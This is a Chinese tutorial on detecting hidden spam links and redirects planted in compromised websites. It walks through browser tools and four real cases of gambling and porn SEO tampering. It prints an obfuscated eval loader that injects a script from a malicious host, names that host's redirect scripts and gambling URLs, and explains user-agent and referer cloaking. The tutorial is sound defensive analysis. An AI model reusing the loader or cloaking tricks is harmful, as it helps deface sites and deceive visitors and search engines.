网站恶意篡改-黑链验证
目录
- 网页介绍
- 页面篡改
- 验证黑链常用工具
- 查找黑链常用方法-实战案例
1.1 网页
网页由html+css+javascript组成,以人做举例,html描述了人有脸,有脖子,有身体,有四肢,css描述了每个部分如何链接,javascript决定了人的思想是什么样的。
1.1.1 Html
超文本标记语言 Hyper Text Markup Language,HTML 是用来描述网页的一种语言。只有html的页面是没有灵魂的人,不知道饿了该去吃饭,不知道见到人该去打招呼
【如果想简单学习玩耍请参考此链接:http://www.w3school.com.cn/html/index.asp】
1.1.2 Javascript
一种脚本语言,其源代码在发往客户端运行之前不需经过编译,而是将文本格式的字符代码发送给浏览器由浏览器解释运行。有了javascript(之后简称js)网页才能根据一些外界条件发生变化
【如果想简单学习玩耍请参考此链接:http://www.w3school.com.cn/js/index.asp】
1.2 页面篡改
网站页面内产生了网站所有者意想之外的变化,网站遭殃*_*
1.2.1 SEO
SEO全称为搜索引擎优化,是指通过站内优化、站外优化等方式,提升搜索引擎收录排名。搜索空气净化器,显示如下:
为什么显示顺序为京东->亚马逊->知乎,而不是其他顺序?
>>>首先引入概念PR值:
PR值全称为PageRank(网页级别),PR值是Google用于标识网页的等级、重要性、网站的好坏的重要标准之一。级别从0到10级为满分。PR值越高说明该网页越受欢迎。
例如:一个PR值为1的网站表明这个网站不太具有流行度,而PR值为7到10则表明这个网站非常受欢迎(或者说极其重要)。一般PR值达到4,就算是一个不错的网站了。Google把自己的网站的PR值定到9,这说明Google这个网站是非常受欢迎的,也可以说这个网站非常重要。
【PR查询页面:http://pr.chinaz.com】
PR高的网站不一定排名就好,但是大部分内页的排名都不错,PR高的网站分流到内页的权重比PR低的网站分配到内页的权重也高,排名相对也好,排名的计算方法很复杂,因此排名好的也不一定PR就高。
既然有SEO技术,便会有相应的从业人员,他们被称为白帽SEO,专指通过公正SEO手法,帮助提升站点排名的专业人员。当然有白便会有黑,由于白帽SEO优化的过程将会十分漫长,一个新站想要获取好的排名,往往需要花上几年时间做优化推广。因此一些想要快速提升自身网站排名的小伙伴,便开始在SEO上研究作弊手法,从而诞生了黑帽SEO。黑帽SEO是指通过作弊手段,让站点快速提升排名的一类SEO技术,或者说是黑客技术,比如说:黑链(暗链)、站群、网站劫持(搜索引擎劫持)、桥页等,黑帽SEO能够快速提升排名,但毕竟是违规作弊行为
1.3 基础知识(以下内容使用浏览器都为火狐浏览器)
1.3.1 常用工具-源代码
常用快捷键:ctrl+u(也可以在页面前添加view-source:)
特点:只展示HTML代码,显示相关CSS和JS链接,但是并不加载
用途:粗略查看相关源代码
1.3.2 常用工具-审查元素-查看器
常用快捷键:F12(查看器标签)
特点:该页面会加载对应的js以及css,是一个更直观的输出展示页面
用途:详细查看相关源代码
1.3.3 常用工具-审查元素-控制台
用途:解密js进行快捷输出
加密js:
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4.7(\'<0 c="1" 5="6/1" 3="8://9.a.b/2/d.2"></0>\');',14,14,'script|javascript|js|src|document|type|text|write|http|cq|355sf|com|language|bc'.split('|'),0,{}))
将eval函数去掉,直接复制黏贴进控制台就可以输出解密后的js
1.3.4 常用工具-审查元素-网络
用途:在不打开burp的前提下快速查看相关请求以及相应响应
1.3.5 常用工具-解密网站
推荐js界面网站:https://tool.lu/js/
同1.3.3将js解密为:
1.3.6 常用工具-User-Agent Switcher
用途:修改HTTP请求头中的User Agent(之后统一简称UA)字段,该字段通常用来表示使用者身份,如:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
对于搜索引擎来说,为了区分自身和正常人的行为,爬虫会修改自己的UA为一个公共声明标识的UA如:360spider,这也为黑产对抗留下了入口,黑产从业者会通过js/后端php来进行请求头判断,如果是来自搜索引擎的流量,则展示黑产页面,如果是正常访客的UA则展示正常的页面。这样可以极大加强隐蔽自身的能力。
2.安装后进入附加组件,找到该插件点击首选项进行配置
在google bot下面增加如下配置:
Baidu Bot [Bot]: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
360 [Bot]: 360Spider
3.勾选任意一个,进行任意域名访问
请求头中User-Agent为对应勾选的User-Agent头即为配置成功
1.3.7 常用工具-referer control
用途:控制网站请求头中的Referer字段,该字段本身是用于记录当前网页的来源。
通常来说搜索引擎的爬虫每次爬行都会将内容运回搜索引擎的数据库,所以通常爬虫对页面请求的上一跳中也一定会包含baidu/360/sougou/so/google等浏览器信息,
这又为黑产提供了隐藏自身行为的入口,通常也是通过js/php进行referer判断,如果包含搜索引擎相关字样则进行跳转到希望被引流的赌博页面,如果不包含则不跳转。
1.4 查找黑链常用方法
修改User-Agent头
修改referer
修改html代码中属性设置为隐藏的标签
>>>篡改实战
1.4.1 篡改案例1
http://www.lcwsj.com/lcxinwen/2018041609219.html
首先我们打开审查元素-网络,打开这个网站,可以在下方的一系列跳转中看到网站跳转到了一个赌博网站:http://www.866bc.com:8080/,我们现在来分析整个跳转过程中到底发生了什么。
>>> 因为网站我们并不能看到上面URL的内容,首先在网络中找到对应这条请求
>>> 可以看到状态码是200,在HTTP状态码中只有3系列才可以执行跳转,那么问题应该出现在前端的js导致了异常跳转,这时候我们使用前面说到的查看源代码来防止js的加载,可以看到如下部分
>>> 这是一段做过混淆加密的js,我们将其放到控制台中进行解密获得如下内容
可以看到一个新的js:http://cq.355sf.com/js/bc.js
我们再次访问这个js可以看到如下部分:
Tips:hm.baidu.com和js.user.51.la都是网站流量统计工具,给网站站长进行流量分析的东西,可以忽略;
其他部分我们又看到了一个新的js: http://cq.355sf.com/js/tiao.js
我们又访问了这个js可以看到如下部分:
这又是一个加密混淆的js,我们依然使用之前的控制台进行解密
代码解读:
首先进行地点判断,如果属于北京、杭州、柬埔寨等地方,则展示一个404页面,如果不属于这些地方则判断当前页面有没有父页面(从a网站点击链接触发到这个js)如果存在父页面,则将父页面感染为http://m.22571777.com:8888/?a=69447,然后将打开页面展示为http://www.866bc.com:8080
1.4.2 篡改案例2
http://www.aswlw.org.cn/
这个网站并不像案例1中直接跳转到了赌博网站,这并不意味着这个网站没有发生篡改
查看源代码到最下面,可以看到
这种使用十六进制编码的形式写代码不是一般正常的写代码思路,这里其实就起了疑心,我们对其进行解码,使用工具网站:https://www.bejson.com/convert/ox2str/
可以看到是一些标签属性,里面看到关键字liblinlpa,再回看源代码,上方友情链接标签的id就是liblinlpa,又看到解密的内容中有display none的字样,故猜测这段加密代码的意义在于使上面被篡改的链接隐藏,防止被站长发现,进而被删除。进而我们尝试去访问上方的友情链接
可以看到含有专业性赌博词汇:pk10的专项词优化页面;
依次打开其他友情链接,也可以看到都和赌博有关
1.4.3 篡改案例3
http://www.drughk.com/cpzs.asp?upid=202&typeid=405&newsid=765
首先打开网站,我们初步审查源码可以看到基本上没有看起来不合理的地方
但是这里我们使用我们的user agent switcher 插件转换UA为360spider以后
源码中出现了
Display:none是一个黑产很常用的隐蔽手法,我们双击none改为true
回到html页面,可以看到原文中出现了如下内容
随便点击一个content内容可以看到基本上都是跳转到了不同的色情网站
1.4.4 篡改案例4
1.首先访问页面:
2.通常这个页面为网站状态码为404以后展示的页面
但是仔细在网络中看一下响应包:
3.可以看到响应码是200
这就是一个非常不科学的事情,页面展示404页面,状态码却是200,这只能猜测404页面是人伪造的,其实这个页面是存在的,只是有人把内容伪装成了404页面的内容,所以成功响应,并显示404页面;
4.继续进入源码分析:
源码中涉及3个js,但是和为什么网站显示404页面,但是响应码为200都没什么关系。
这时候我们尝试改一下UA为360spider,发现网站显示到如下页面
那么网站是否产生了真实的篡改,初步判断是一定存在篡改
但是遍历页面每一个元素,没有找到真实被篡改的地方
5.这依然不意味着不存在篡改,我们进入审查元素-网络,选择第一个网站请求,查看响应标签中的响应载荷
可以看到响应载荷中的最下面存在大量色情专项优化词汇
这里我们可以确定网站一定是被篡改了
那么页面上这几千个敏感词到底在什么位置,我们看敏感词上面一行代码
6.Marquee是跑马灯,这里我们还看到了height=3,在html中3是一个非常小的值,我们重新看到原网页,翻到最下面,看到了一小排绿色的奇怪东西
鼠标努力勾选复制一下,找个地方黏贴出来,就能看到大量的敏感词了
1.4.5 最后
网站篡改技术和篡改对抗技术的更新速度是异常快的,举例子是举不完的,只能靠异于常人的细心和耐心抽丝剥茧来完成对抗